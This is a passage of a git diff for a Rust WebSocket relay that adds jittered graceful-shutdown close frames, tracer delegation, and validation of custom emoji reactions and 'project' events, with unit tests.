seconds of the hard-drain budget for +/// WebSocket close-frame delivery after the final delayed cancellation. +pub const MAX_DRAIN_JITTER_MS: u64 = 20_000; + /// Relay runtime configuration, loaded from environment variables. #[derive(Debug, Clone)] pub struct Config { @@ -117,6 +121,20 @@ pub struct Config { /// `0` (the default) disables bounded-staleness replica routing; see /// [`buzz_db::DbConfig::replica_read_max_age_ms`]. pub replica_read_max_age_ms: u64, + + /// Upper bound, in milliseconds, of the per-connection random delay applied + /// when sending the `1012 Service Restart` close frame during graceful + /// shutdown (`BUZZ_DRAIN_JITTER_MS`). Each live connection is closed after + /// an independent delay drawn uniformly from `[1, drain_jitter_ms]` when + /// jitter is enabled, which + /// spreads client reconnects across the window instead of releasing the + /// whole pod's sockets in one instant (the reconnect thundering herd that + /// drives DB pool-timeout bursts on rolling deploys). + /// + /// Default `0` reproduces the previous all-at-once close. Values above + /// [`MAX_DRAIN_JITTER_MS`] are capped, leaving headroom under the relay's + /// 30-second hard-drain timeout for close-frame delivery. + pub drain_jitter_ms: u64, /// Redis connection URL used by the pub/sub manager. pub redis_url: String, /// Maximum connections in the shared Redis pool. Defaults to 16. @@ -527,6 +545,25 @@ impl Config { Err(_) => 0, }; + // Drain jitter: 0 = off (default). Clamp oversized values so every + // delayed close is initiated with ten seconds left in the relay's + // hard-drain budget. An empty/whitespace-only value is treated as unset + // (jitter off), matching the sibling vars in this file — so setting the + // var to "" is a valid kill switch, not a crashloop. + let drain_jitter_ms = match std::env::var("BUZZ_DRAIN_JITTER_MS") { + Ok(raw) if raw.trim().is_empty() => 0, + Ok(raw) => raw + .trim() + .parse::() + .map_err(|_| { + ConfigError::InvalidValue( + "BUZZ_DRAIN_JITTER_MS must be a non-negative integer".to_string(), + ) + })? + .min(MAX_DRAIN_JITTER_MS), + Err(_) => 0, + }; + let redis_url = std::env::var("REDIS_URL").unwrap_or_else(|_| "redis://localhost:6379".to_string()); @@ -1015,6 +1052,7 @@ impl Config { database_url, read_database_url, replica_read_max_age_ms, + drain_jitter_ms, redis_url, redis_pool_size, db_pool_size, @@ -1383,6 +1421,60 @@ mod tests { } } + #[test] + fn drain_jitter_defaults_off_and_rejects_junk() { + let _guard = ENV_MUTEX.lock().unwrap(); + let previous = std::env::var_os("BUZZ_DRAIN_JITTER_MS"); + + std::env::remove_var("BUZZ_DRAIN_JITTER_MS"); + let unset = Config::from_env().expect("config").drain_jitter_ms; + + std::env::set_var("BUZZ_DRAIN_JITTER_MS", "20000"); + let set = Config::from_env().expect("config").drain_jitter_ms; + + std::env::set_var("BUZZ_DRAIN_JITTER_MS", "60000"); + let capped = Config::from_env().expect("config").drain_jitter_ms; + + std::env::set_var("BUZZ_DRAIN_JITTER_MS", "0"); + let zero = Config::from_env().expect("config").drain_jitter_ms; + + std::env::set_var("BUZZ_DRAIN_JITTER_MS", "soon"); + let junk = Config::from_env(); + + std::env::set_var("BUZZ_DRAIN_JITTER_MS", ""); + let empty = Config::from_env() + .expect("empty is a valid kill switch") + .drain_jitter_ms; + + std::env::set_var("BUZZ_DRAIN_JITTER_MS", " "); + let blank = Config::from_env() + .expect("whitespace-only is a valid kill switch") + .drain_jitter_ms; + + if let Some(value) = previous { + std::env::set_var("BUZZ_DRAIN_JITTER_MS", value); + } else { + std::env::remove_var("BUZZ_DRAIN_JITTER_MS"); + } + + assert_eq!(unset, 0, "drain jitter must default off"); + assert_eq!(set, MAX_DRAIN_JITTER_MS); + assert_eq!( + capped, MAX_DRAIN_JITTER_MS, + "oversized jitter leaves close-frame flush headroom" + ); + assert_eq!(zero, 0, "explicit 0 is off"); + assert!( + junk.is_err(), + "an unparsable jitter must fail loudly, not silently disable" + ); + assert_eq!( + empty, 0, + "an empty value is treated as unset — a kill switch, not a crashloop" + ); + assert_eq!(blank, 0, "a whitespace-only value is treated as unset"); + } + #[test] fn audit_logging_defaults_on_and_accepts_explicit_off() { let _guard = ENV_MUTEX.lock().unwrap(); diff --git a/crates/buzz-relay/src/conformance/mod.rs b/crates/buzz-relay/src/conformance/mod.rs index 323d0aca03..93ebe5de9f 100644 --- a/crates/buzz-relay/src/conformance/mod.rs +++ b/crates/buzz-relay/src/conformance/mod.rs @@ -370,6 +370,16 @@ impl Tracer for CountingTracer { .fetch_add(1, std::sync::atomic::Ordering::Relaxed); self.inner.record(step); } + + /// Delegate, never inherit the `true` default. This wrapper is + /// transparent: whether emits are observed is a property of the + /// tracer underneath it. Returning `true` over a `NoopTracer` would + /// reintroduce the overhead the gate exists to remove; returning + /// `false` over a real tracer would suppress the emits whose absence + /// the `EmitGuard` reports as a coverage breach. + fn enabled(&self) -> bool { + self.inner.enabled() + } } impl EmitGuard { @@ -455,6 +465,52 @@ mod tests { } } + /// Discarding tracer that reports `enabled() == false`, standing in + /// for the production `NoopTracer`. + #[derive(Debug, Default)] + struct DisabledTracer; + + impl Tracer for DisabledTracer { + fn record(&self, _step: TraceStep) {} + fn enabled(&self) -> bool { + false + } + } + + /// `CountingTracer` must forward `enabled()` to the tracer it wraps + /// rather than inherit the trait's `true` default. Both directions + /// matter, and getting either wrong is silent: + /// + /// - over a disabled tracer, answering `true` would keep the hot-path + /// read-seam `channels` lookup running in production — the overhead + /// the gate exists to remove; + /// - over a live tracer, answering `false` would make gated emitters + /// skip emits during conformance runs, so the `EmitGuard` would + /// report `ImplBug` for seams that are in fact correct (or, worse, + /// mask a real breach behind an expected one). + #[test] + fn counting_tracer_delegates_enabled_to_inner() { + let (_guard, counting) = EmitGuard::arm( + Arc::new(DisabledTracer), + dummy_state(), + "delegates_disabled", + ); + assert!( + !counting.enabled(), + "CountingTracer must report disabled when wrapping a discarding tracer" + ); + + let (_guard, counting) = EmitGuard::arm( + Arc::new(VecTracer::default()), + dummy_state(), + "delegates_live", + ); + assert!( + counting.enabled(), + "CountingTracer must report enabled when wrapping an observing tracer" + ); + } + fn dummy_state() -> AbstractState { AbstractState { resolved_community: CommunityLabel::from_uuid(Uuid::from_u128(0xA)), diff --git a/crates/buzz-relay/src/conformance/tracers.rs b/crates/buzz-relay/src/conformance/tracers.rs index 682c1714eb..36c9789358 100644 --- a/crates/buzz-relay/src/conformance/tracers.rs +++ b/crates/buzz-relay/src/conformance/tracers.rs @@ -17,6 +17,12 @@ pub struct NoopTracer; impl Tracer for NoopTracer { fn record(&self, _step: TraceStep) {} + + /// Nothing is observed, so emitters should skip building inputs — + /// including the read-seam's per-request `channels` lookup. + fn enabled(&self) -> bool { + false + } } /// JSONL-to-file tracer for tests + the CI replay job. Each `record` call diff --git a/crates/buzz-relay/src/connection.rs b/crates/buzz-relay/src/connection.rs index 1c0acd2013..8d9025df1b 100644 --- a/crates/buzz-relay/src/connection.rs +++ b/crates/buzz-relay/src/connection.rs @@ -29,6 +29,11 @@ const AUTH_TIMEOUT: Duration = Duration::from_secs(5); /// Shared mutable subscription map for a single WebSocket connection. pub(crate) type ConnectionSubscriptions = Arc>>>; +/// Request for the writer to flush a restart close and report the result. +pub(crate) struct RestartClose { + pub(crate) flushed: tokio::sync::oneshot::Sender, +} + /// Maximum outbound data frames buffered into the websocket sink before one flush. const MAX_WS_SEND_BATCH: usize = 64; @@ -161,6 +166,11 @@ async fn handle_active_connection( // even when the data buffer is full. let (ctrl_tx, ctrl_rx) = mpsc::channel::(8); + // Dedicated restart-close channel carries a flush acknowledgement. Keeping + // ordinary control frames unchanged avoids coupling heartbeat/ban traffic + // to graceful-shutdown delivery tracking. + let (restart_tx, restart_rx) = mpsc::channel::(1); + let backpressure_count = Arc::new(AtomicU8::new(0)); let subscriptions = Arc::new(Mutex::new(HashMap::new())); @@ -205,6 +215,7 @@ async fn handle_active_connection( conn_id, tx.clone(), ctrl_tx.clone(), + Some(restart_tx), cancel.clone(), conn.tenant.community(), Arc::clone(&backpressure_count), @@ -215,7 +226,7 @@ async fn handle_active_connection( let (ws_send, ws_recv) = socket.split(); let send_cancel = cancel.child_token(); - let send_task = tokio::spawn(send_loop(ws_send, rx, ctrl_rx, send_cancel)); + let send_task = tokio::spawn(send_loop(ws_send, rx, ctrl_rx, restart_rx, send_cancel)); let missed_pongs = Arc::new(AtomicU8::new(0)); let heartbeat_cancel = cancel.clone(); @@ -297,15 +308,17 @@ async fn send_loop( ws_send: futures_util::stream::SplitSink, data_rx: mpsc::Receiver, ctrl_rx: mpsc::Receiver, + restart_rx: mpsc::Receiver, cancel: CancellationToken, ) { - send_loop_inner(ws_send, data_rx, ctrl_rx, cancel).await; + send_loop_inner(ws_send, data_rx, ctrl_rx, restart_rx, cancel).await; } async fn send_loop_inner( mut ws_send: S, mut data_rx: mpsc::Receiver, mut ctrl_rx: mpsc::Receiver, + mut restart_rx: mpsc::Receiver, cancel: CancellationToken, ) where S: Sink + Unpin, @@ -319,9 +332,21 @@ async fn send_loop_inner( } tokio::select! { - // Biased: cancel > control > data. Cancel must win immediately - // so backpressure-triggered shutdown isn't starved by queued data. + // Biased: restart > cancel > ordinary control > data. A restart + // command owns shutdown delivery and must flush its 1012 before + // cancellation can fall back to an unacknowledged close. biased; + Some(restart) = restart_rx.recv() => { + let sent = ws_send + .send(WsMessage::Close(Some(axum::extract::ws::CloseFrame { + code: axum::extract::ws::close_code::RESTART, + reason: axum::extract::ws::Utf8Bytes::from_static("relay restarting"), + }))) + .await + .is_ok(); + let _ = restart.flushed.send(sent); + break; + } _ = cancel.cancelled() => { // Drain any queued control frames before closing. A ban // disconnect queues its `OK false "blocked: …"` reason frame on @@ -833,7 +858,8 @@ mod tests { } let (sink, state) = MockSink::new(Some(1)); - send_loop_inner(sink, data_rx, ctrl_rx, CancellationToken::new()).await; + let (_restart_tx, restart_rx) = mpsc::channel(1); + send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await; let state = state.lock().expect("mock sink poisoned"); assert_eq!(state.flush_count, 1); @@ -853,7 +879,8 @@ mod tests { .expect("queue data frame"); let (sink, state) = MockSink::new(Some(1)); - send_loop_inner(sink, data_rx, ctrl_rx, CancellationToken::new()).await; + let (_restart_tx, restart_rx) = mpsc::channel(1); + send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await; let state = state.lock().expect("mock sink poisoned"); assert_eq!(state.flush_count, 1); @@ -878,7 +905,8 @@ mod tests { .expect("queue control frame"); let (sink, state) = MockSink::new(Some(2)); - send_loop_inner(sink, data_rx, ctrl_rx, CancellationToken::new()).await; + let (_restart_tx, restart_rx) = mpsc::channel(1); + send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await; let state = state.lock().expect("mock sink poisoned"); assert_eq!(state.flush_count, 2); @@ -888,6 +916,57 @@ mod tests { ); } + #[tokio::test] + async fn send_loop_acknowledges_restart_after_flushing_exactly_one_1012() { + let (_data_tx, data_rx) = mpsc::channel(1); + let (_ctrl_tx, ctrl_rx) = mpsc::channel(1); + let (restart_tx, restart_rx) = mpsc::channel(1); + let (flushed_tx, flushed_rx) = tokio::sync::oneshot::channel(); + restart_tx + .send(RestartClose { + flushed: flushed_tx, + }) + .await + .expect("queue restart close"); + + let (sink, state) = MockSink::new(None); + send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await; + + assert_eq!(flushed_rx.await, Ok(true)); + let state = state.lock().expect("mock sink poisoned"); + assert_eq!(state.flush_count, 1, "ack follows the close flush"); + assert_eq!(state.messages.len(), 1, "writer exits after restart close"); + match &state.messages[0] { + WsMessage::Close(Some(close)) => { + assert_eq!(close.code, axum::extract::ws::close_code::RESTART); + assert_eq!(close.reason.as_str(), "relay restarting"); + } + other => panic!("expected one 1012 restart close, got {other:?}"), + } + } + + #[tokio::test] + async fn send_loop_reports_restart_flush_failure() { + let (_data_tx, data_rx) = mpsc::channel(1); + let (_ctrl_tx, ctrl_rx) = mpsc::channel(1); + let (restart_tx, restart_rx) = mpsc::channel(1); + let (flushed_tx, flushed_rx) = tokio::sync::oneshot::channel(); + restart_tx + .send(RestartClose { + flushed: flushed_tx, + }) + .await + .expect("queue restart close"); + + let (sink, state) = MockSink::new(Some(1)); + send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await; + + assert_eq!(flushed_rx.await, Ok(false)); + let state = state.lock().expect("mock sink poisoned"); + assert_eq!(state.flush_count, 1); + assert_eq!(state.messages.len(), 1, "no fallback close is appended"); + } + #[tokio::test] async fn send_loop_flushes_queued_control_before_close_on_cancel() { // A ban disconnect queues its `OK false "blocked: …"` reason frame on @@ -907,7 +986,8 @@ mod tests { cancel.cancel(); let (sink, state) = MockSink::new(None); - send_loop_inner(sink, data_rx, ctrl_rx, cancel).await; + let (_restart_tx, restart_rx) = mpsc::channel(1); + send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, cancel).await; let state = state.lock().expect("mock sink poisoned"); assert_eq!( diff --git a/crates/buzz-relay/src/handlers/event.rs b/crates/buzz-relay/src/handlers/event.rs index d00242bdd7..cba267d5ae 100644 --- a/crates/buzz-relay/src/handlers/event.rs +++ b/crates/buzz-relay/src/handlers/event.rs @@ -1461,6 +1461,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, CancellationToken::new(), buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), Arc::new(AtomicU8::new(0)), @@ -2100,6 +2101,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, CancellationToken::new(), buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()), Arc::new(AtomicU8::new(0)), @@ -2425,6 +2427,7 @@ mod tests { conn_id, tx, ctrl_tx, + None, CancellationToken::new(), community_id, Arc::new(AtomicU8::new(0)), diff --git a/crates/buzz-relay/src/handlers/ingest.rs b/crates/buzz-relay/src/handlers/ingest.rs index e71c8528f7..4be6255157 100644 --- a/crates/buzz-relay/src/handlers/ingest.rs +++ b/crates/buzz-relay/src/handlers/ingest.rs @@ -28,7 +28,7 @@ use buzz_core::kind::{ KIND_NIP29_EDIT_METADATA, KIND_NIP29_JOIN_REQUEST, KIND_NIP29_LEAVE_REQUEST, KIND_NIP29_PUT_USER, KIND_NIP29_REMOVE_USER, KIND_NIP43_LEAVE_REQUEST, KIND_NIP65_RELAY_LIST_METADATA, KIND_PERSONA, KIND_PIN_LIST, KIND_PRESENCE_UPDATE, - KIND_PRODUCT_FEEDBACK, KIND_PROFILE, KIND_REACTION, KIND_READ_STATE, KIND_REPORT, + KIND_PRODUCT_FEEDBACK, KIND_PROFILE, KIND_PROJECT, KIND_REACTION, KIND_READ_STATE, KIND_REPORT, KIND_STREAM_MESSAGE, KIND_STREAM_MESSAGE_BOOKMARKED, KIND_STREAM_MESSAGE_DIFF, KIND_STREAM_MESSAGE_EDIT, KIND_STREAM_MESSAGE_PINNED, KIND_STREAM_MESSAGE_SCHEDULED, KIND_STREAM_MESSAGE_V2, KIND_STREAM_REMINDER, KIND_TEAM, KIND_TEAM_CATALOG, KIND_TEXT_NOTE, @@ -50,6 +50,55 @@ use crate::conformance::{ state_for_request, EmitGuard, TraceAction, Verdict, }; +fn validate_custom_emoji_tags(event: &Event) -> Result<(), IngestError> { + for tag in event.tags.iter() { + let parts = tag.as_slice(); + if parts.first().map(String::as_str) != Some("emoji") { + continue; + } + let shortcode = parts.get(1).ok_or_else(|| { + IngestError::Rejected("invalid: emoji tag must include a shortcode".into()) + })?; + buzz_sdk::normalize_custom_emoji_shortcode(shortcode) + .map_err(|err| IngestError::Rejected(format!("invalid: {err}")))?; + } + Ok(()) +} + +fn validate_reaction_emoji(event: &Event, emoji: &str) -> Result<(), IngestError> { + let emoji_char_count = emoji.chars().count(); + if emoji_char_count <= 64 { + return Ok(()); + } + + let Some(shortcode) = emoji + .strip_prefix(':') + .and_then(|value| value.strip_suffix(':')) + else { + return Err(IngestError::Rejected(format!( + "invalid: reaction emoji exceeds 64 characters (got {emoji_char_count})" + ))); + }; + let normalized = buzz_sdk::normalize_custom_emoji_shortcode(shortcode) + .map_err(|err| IngestError::Rejected(format!("invalid: {err}")))?; + if shortcode != normalized { + return Err(IngestError::Rejected( + "invalid: long custom emoji reaction shortcode must be canonical lowercase".into(), + )); + } + let has_matching_tag = event.tags.iter().any(|tag| { + let parts = tag.as_slice(); + parts.first().map(String::as_str) == Some("emoji") + && parts.get(1).is_some_and(|value| value == shortcode) + }); + if !has_matching_tag || emoji_char_count > buzz_sdk::MAX_CUSTOM_EMOJI_REACTION_LEN { + return Err(IngestError::Rejected(format!( + "invalid: reaction emoji exceeds 64 characters (got {emoji_char_count})" + ))); + } + Ok(()) +} + /// How the HTTP caller authenticated (for [`IngestAuth::Http`]). #[derive(Debug, Clone)] pub enum HttpAuthMethod { @@ -347,6 +396,9 @@ fn required_scope_for_kind(kind: u32, event: &Event) -> Result Ok(Scope::ChannelsWrite), // NIP-34: Git repository events KIND_GIT_REPO_ANNOUNCEMENT | KIND_GIT_REPO_STATE => Ok(Scope::ReposWrite), + // NIP-MP: a project is repository metadata — grouping repositories needs + // the same scope as announcing them. + KIND_PROJECT => Ok(Scope::ReposWrite), KIND_GIT_PATCH | KIND_GIT_PULL_REQUEST | KIND_GIT_PR_UPDATE @@ -483,6 +535,10 @@ pub(crate) fn is_global_only_kind(kind: u32) -> bool { | KIND_GIT_STATUS_MERGED | KIND_GIT_STATUS_CLOSED | KIND_GIT_STATUS_DRAFT + // NIP-MP: projects are addressed by (pubkey, kind, d_tag). The + // `buzz-channel` tag is a metadata reference, not a routing directive, + // so a project's state is never channel-scoped. + | KIND_PROJECT // Community moderation commands (9040–9044): community-global // direct commands, same model as the NIP-43 9030-series. A stray // `h` tag must never channel-scope them (pinned contract — @@ -1206,6 +1262,284 @@ fn validate_team_catalog_envelope(event: &Event) -> Result<(), String> { Ok(()) } +/// Maximum number of member `a` tags on a kind:30621 project. +/// +/// Counted over raw tags, not distinct coordinates: a duplicate-heavy event +/// naming one coordinate thousands of times would otherwise be bounded only by +/// the relay frame limit (`config.rs`), so the cap must be checked before any +/// set proportional to the tag list is built. +const PROJECT_MEMBER_CAP: usize = 64; + +/// Maximum byte length of a project `name` tag value. +const PROJECT_NAME_MAX_LEN: usize = 256; + +/// Maximum byte length of a project `description` tag value. +const PROJECT_DESCRIPTION_MAX_LEN: usize = 2048; + +/// Maximum byte length of `buzz-channel` and `buzz-visibility` tag values. +/// +/// Both are opaque strings at the relay layer; the bound exists only so an +/// unbounded value cannot ride into storage on a tag ingest does not interpret. +const PROJECT_METADATA_TAG_MAX_LEN: usize = 256; + +/// Metadata tags a project may carry at most once each. +/// +/// Duplicates would make the effective value reader-dependent — one client +/// taking the first, another the last. +const PROJECT_SINGLETON_METADATA_TAGS: [&str; 4] = + ["name", "description", "buzz-channel", "buzz-visibility"]; + +/// The kind segment every project member coordinate must carry: a project groups +/// repository *announcements*, so a coordinate naming any other kind (notably +/// kind:30618 repository state) is malformed. +const PROJECT_MEMBER_KIND_SEGMENT: &str = "30617"; +const _: () = assert!(KIND_GIT_REPO_ANNOUNCEMENT == 30617); + +/// A validation failure from [`validate_project_envelope`] or +/// [`parse_project_member_coordinate`]. +/// +/// Carries the stable NIP-MP rule identifier alongside the human-readable +/// rejection message. The rule ID allows the fixture oracle and any future +/// cross-implementation conformance test to assert *which* rule fired, not just +/// that rejection occurred — an implementation cannot pass a reject fixture by +/// refusing for an unrelated reason. +/// +/// The eight IDs match the `reject_rules` strings in `NIP-MP.fixtures.json` +/// exactly: `d-cardinality`, `d-empty`, `member-cap`, `member-tag-arity`, +/// `member-coordinate-malformed`, `member-duplicate`, `metadata-cardinality`, +/// `metadata-length`. +#[derive(Debug)] +struct ProjectRejection { + /// Stable rule identifier matching the fixture file's `reject_rules` set. + rule: &'static str, + /// Human-readable explanation forwarded to the client's NOTICE/OK message. + message: String, +} + +impl std::fmt::Display for ProjectRejection { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "[{}] {}", self.rule, self.message) + } +} + +impl ProjectRejection { + fn new(rule: &'static str, message: impl Into) -> Self { + Self { + rule, + message: message.into(), + } + } +} + +/// Validate the envelope of a kind:30621 NIP-MP project event. +/// +/// Enforces the structural contract in `docs/nips/NIP-MP.md` — exactly one +/// non-empty `d` tag, at most [`PROJECT_MEMBER_CAP`] member `a` tags each +/// holding a canonical `30617::` +/// coordinate with no duplicates, and bounded metadata. +/// +/// Deliberately absent: any membership authorization. The signer may reference +/// any repository coordinate, including another owner's, because membership +/// grants nothing — push policy reads the repository's own kind:30617 +/// (`api/git/policy.rs`) and never a project. Owner-only replacement comes free +/// from NIP-33 addressing. +/// +/// Duplicates are rejected rather than deduped: a relay cannot rewrite tags +/// inside a signed event without invalidating its id and signature, so the +/// choice is reject or force every consumer to apply a first-wins rule. +fn validate_project_envelope(event: &Event) -> Result<(), ProjectRejection> { + let mut d_tags: Vec<&str> = Vec::new(); + let mut members: Vec<&str> = Vec::new(); + let mut name: Option<&str> = None; + let mut description: Option<&str> = None; + let mut buzz_channel: Option<&str> = None; + let mut buzz_visibility: Option<&str> = None; + let mut singleton_counts = [0usize; PROJECT_SINGLETON_METADATA_TAGS.len()]; + + for tag in event.tags.iter() { + let parts = tag.as_slice(); + let Some(tag_name) = parts.first().map(|s| s.as_str()) else { + continue; + }; + let value = parts.get(1).map(|s| s.as_str()).unwrap_or(""); + match tag_name { + "d" => d_tags.push(value), + "a" => members.push(value), + _ => { + if let Some(i) = PROJECT_SINGLETON_METADATA_TAGS + .iter() + .position(|k| *k == tag_name) + { + singleton_counts[i] += 1; + match tag_name { + "name" => name = Some(value), + "description" => description = Some(value), + "buzz-channel" => buzz_channel = Some(value), + "buzz-visibility" => buzz_visibility = Some(value), + _ => {} + } + } + } + } + } + + // `d-cardinality` / `d-empty`: under NIP-33 a missing `d` is treated as + // empty, which collapses every such project into the `(pubkey, 30621, "")` + // slot where unrelated projects silently overwrite each other. Several `d` + // tags make the address reader-dependent. Length is bounded by the generic + // `D_TAG_MAX_LEN` check the ingest pipeline already applies. + if d_tags.len() != 1 { + return Err(ProjectRejection::new( + "d-cardinality", + format!( + "project event must have exactly one `d` tag (got {})", + d_tags.len() + ), + )); + } + if d_tags[0].is_empty() { + return Err(ProjectRejection::new( + "d-empty", + "project event `d` tag must not be empty", + )); + } + + // `member-cap` before `member-coordinate-malformed` and `member-duplicate`: + // refuse on count before doing per-tag work. + if members.len() > PROJECT_MEMBER_CAP { + return Err(ProjectRejection::new( + "member-cap", + format!( + "project event must have at most {PROJECT_MEMBER_CAP} member `a` tags (got {})", + members.len() + ), + )); + } + // `member-tag-arity`: every member `a` tag has exactly 2 or 3 elements per + // NIP-01's `a` tag grammar. A one-element tag names no coordinate; a fourth + // element has no defined meaning, and accepting it would let a writer park + // unbounded unvalidated data in a position no consumer reads. + for tag in event.tags.iter() { + let parts = tag.as_slice(); + if parts.first().map(|s| s.as_str()) == Some("a") && !(2..=3).contains(&parts.len()) { + return Err(ProjectRejection::new( + "member-tag-arity", + format!( + "project event member `a` tag must have exactly 2 or 3 elements (got {})", + parts.len() + ), + )); + } + } + let mut seen = std::collections::HashSet::with_capacity(members.len()); + for member in &members { + parse_project_member_coordinate(member)?; + if !seen.insert(*member) { + return Err(ProjectRejection::new( + "member-duplicate", + format!("project event has duplicate member coordinate {member:?}"), + )); + } + } + + for (i, count) in singleton_counts.iter().enumerate() { + if *count > 1 { + return Err(ProjectRejection::new( + "metadata-cardinality", + format!( + "project event must have at most one `{}` tag (got {count})", + PROJECT_SINGLETON_METADATA_TAGS[i] + ), + )); + } + } + if let Some(name) = name { + if name.len() > PROJECT_NAME_MAX_LEN { + return Err(ProjectRejection::new( + "metadata-length", + format!( + "project event `name` tag too long ({} bytes, max {PROJECT_NAME_MAX_LEN})", + name.len() + ), + )); + } + } + if let Some(description) = description { + if description.len() > PROJECT_DESCRIPTION_MAX_LEN { + return Err(ProjectRejection::new( + "metadata-length", + format!( + "project event `description` tag too long ({} bytes, max {PROJECT_DESCRIPTION_MAX_LEN})", + description.len() + ), + )); + } + } + if let Some(buzz_channel) = buzz_channel { + if buzz_channel.len() > PROJECT_METADATA_TAG_MAX_LEN { + return Err(ProjectRejection::new( + "metadata-length", + format!( + "project event `buzz-channel` tag too long ({} bytes, max {PROJECT_METADATA_TAG_MAX_LEN})", + buzz_channel.len() + ), + )); + } + } + if let Some(buzz_visibility) = buzz_visibility { + if buzz_visibility.len() > PROJECT_METADATA_TAG_MAX_LEN { + return Err(ProjectRejection::new( + "metadata-length", + format!( + "project event `buzz-visibility` tag too long ({} bytes, max {PROJECT_METADATA_TAG_MAX_LEN})", + buzz_visibility.len() + ), + )); + } + } + Ok(()) +} + +/// Check that `coordinate` is a canonical repository-announcement address. +/// +/// Splits on the first two colons only, matching how NIP-09 deletion handling +/// parses coordinates (`side_effects.rs`), so a repository whose `d` tag +/// contains a colon stays addressable and a project can never disagree with a +/// deletion about where the `d` value begins. +fn parse_project_member_coordinate(coordinate: &str) -> Result<(), ProjectRejection> { + let malformed = || { + ProjectRejection::new( + "member-coordinate-malformed", + format!( + "project event member `a` tag must be \ + `{PROJECT_MEMBER_KIND_SEGMENT}::` (got {coordinate:?})" + ), + ) + }; + let mut segments = coordinate.splitn(3, ':'); + let (Some(kind), Some(owner), Some(repo_d)) = + (segments.next(), segments.next(), segments.next()) + else { + return Err(malformed()); + }; + if kind != PROJECT_MEMBER_KIND_SEGMENT { + return Err(malformed()); + } + // Lowercase-only: `#a` filter matching is byte-exact, so an uppercase-owner + // head would be invisible to the lowercase-coordinate queries readers issue. + if owner.len() != 64 + || !owner + .bytes() + .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase()) + { + return Err(malformed()); + } + if repo_d.is_empty() { + return Err(malformed()); + } + Ok(()) +} + /// Validate that `content` is a syntactically plausible NIP-44 v2 ciphertext. /// /// Checks: @@ -2176,6 +2510,11 @@ async fn ingest_event_inner( .map_err(|e| IngestError::Rejected(format!("invalid: {e}")))?; } + if kind_u32 == KIND_PROJECT { + validate_project_envelope(&event) + .map_err(|e| IngestError::Rejected(format!("invalid: {e}")))?; + } + // Track pre-created channel UUID for compensation on insert failure. let mut pre_created_channel: Option = None; @@ -2418,6 +2757,10 @@ async fn ingest_event_inner( )); } + if kind_u32 == KIND_EMOJI_SET || kind_u32 == KIND_EMOJI_LIST { + validate_custom_emoji_tags(&event)?; + } + // Resolve the target reference, then use one DB transaction to upsert the // reaction row (dedup via ON CONFLICT) with reaction_event_id already set and // store the kind:7 event. This replaces the post-storage side-effect handler. @@ -2456,17 +2799,7 @@ async fn ingest_event_inner( &event.content }; - // Mirror the SDK's 64-character emoji limit server-side so raw clients - // cannot bypass it. Uses chars().count() (not byte len) to match the - // SDK's check_emoji_len, which also counts Unicode characters. - const MAX_REACTION_EMOJI_CHARS: usize = 64; - let emoji_char_count = emoji.chars().count(); - if emoji_char_count > MAX_REACTION_EMOJI_CHARS { - return Err(IngestError::Rejected(format!( - "invalid: reaction emoji exceeds {} characters (got {})", - MAX_REACTION_EMOJI_CHARS, emoji_char_count - ))); - } + validate_reaction_emoji(&event, emoji)?; // Atomically upsert the reaction row with this kind:7 event id, then store // the event in the same transaction. Ordering is load-bearing: active @@ -2700,6 +3033,84 @@ mod tests { }; use nostr::{EventBuilder, Kind}; + #[test] + fn reaction_validation_accepts_wrapped_max_shortcode() { + let shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN); + let event = EventBuilder::new(Kind::Custom(KIND_REACTION as u16), format!(":{shortcode}:")) + .tags([ + nostr::Tag::parse(["emoji", &shortcode, "https://example.com/max.png"]) + .expect("emoji tag"), + ]) + .sign_with_keys(&nostr::Keys::generate()) + .expect("sign reaction"); + + assert!(validate_reaction_emoji(&event, &event.content).is_ok()); + } + + #[test] + fn reaction_validation_rejects_mixed_case_max_shortcode() { + let shortcode = "Ab".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN / 2); + let event = EventBuilder::new(Kind::Custom(KIND_REACTION as u16), format!(":{shortcode}:")) + .tags([ + nostr::Tag::parse(["emoji", &shortcode, "https://example.com/max.png"]) + .expect("emoji tag"), + ]) + .sign_with_keys(&nostr::Keys::generate()) + .expect("sign reaction"); + + assert!(matches!( + validate_reaction_emoji(&event, &event.content), + Err(IngestError::Rejected(_)) + )); + } + + #[test] + fn reaction_validation_rejects_case_mismatched_tag() { + let shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN); + let uppercase_shortcode = shortcode.to_uppercase(); + let event = EventBuilder::new(Kind::Custom(KIND_REACTION as u16), format!(":{shortcode}:")) + .tags([nostr::Tag::parse([ + "emoji", + &uppercase_shortcode, + "https://example.com/max.png", + ]) + .expect("emoji tag")]) + .sign_with_keys(&nostr::Keys::generate()) + .expect("sign reaction"); + + assert!(matches!( + validate_reaction_emoji(&event, &event.content), + Err(IngestError::Rejected(_)) + )); + } + + #[test] + fn emoji_set_validation_enforces_shortcode_boundary() { + let max_shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN); + let valid_event = EventBuilder::new(Kind::Custom(KIND_EMOJI_SET as u16), "") + .tags([ + nostr::Tag::parse(["emoji", &max_shortcode, "https://example.com/max.png"]) + .expect("emoji tag"), + ]) + .sign_with_keys(&nostr::Keys::generate()) + .expect("sign valid emoji set"); + assert!(validate_custom_emoji_tags(&valid_event).is_ok()); + + let shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN + 1); + let event = EventBuilder::new(Kind::Custom(KIND_EMOJI_SET as u16), "") + .tags([ + nostr::Tag::parse(["emoji", &shortcode, "https://example.com/long.png"]) + .expect("emoji tag"), + ]) + .sign_with_keys(&nostr::Keys::generate()) + .expect("sign emoji 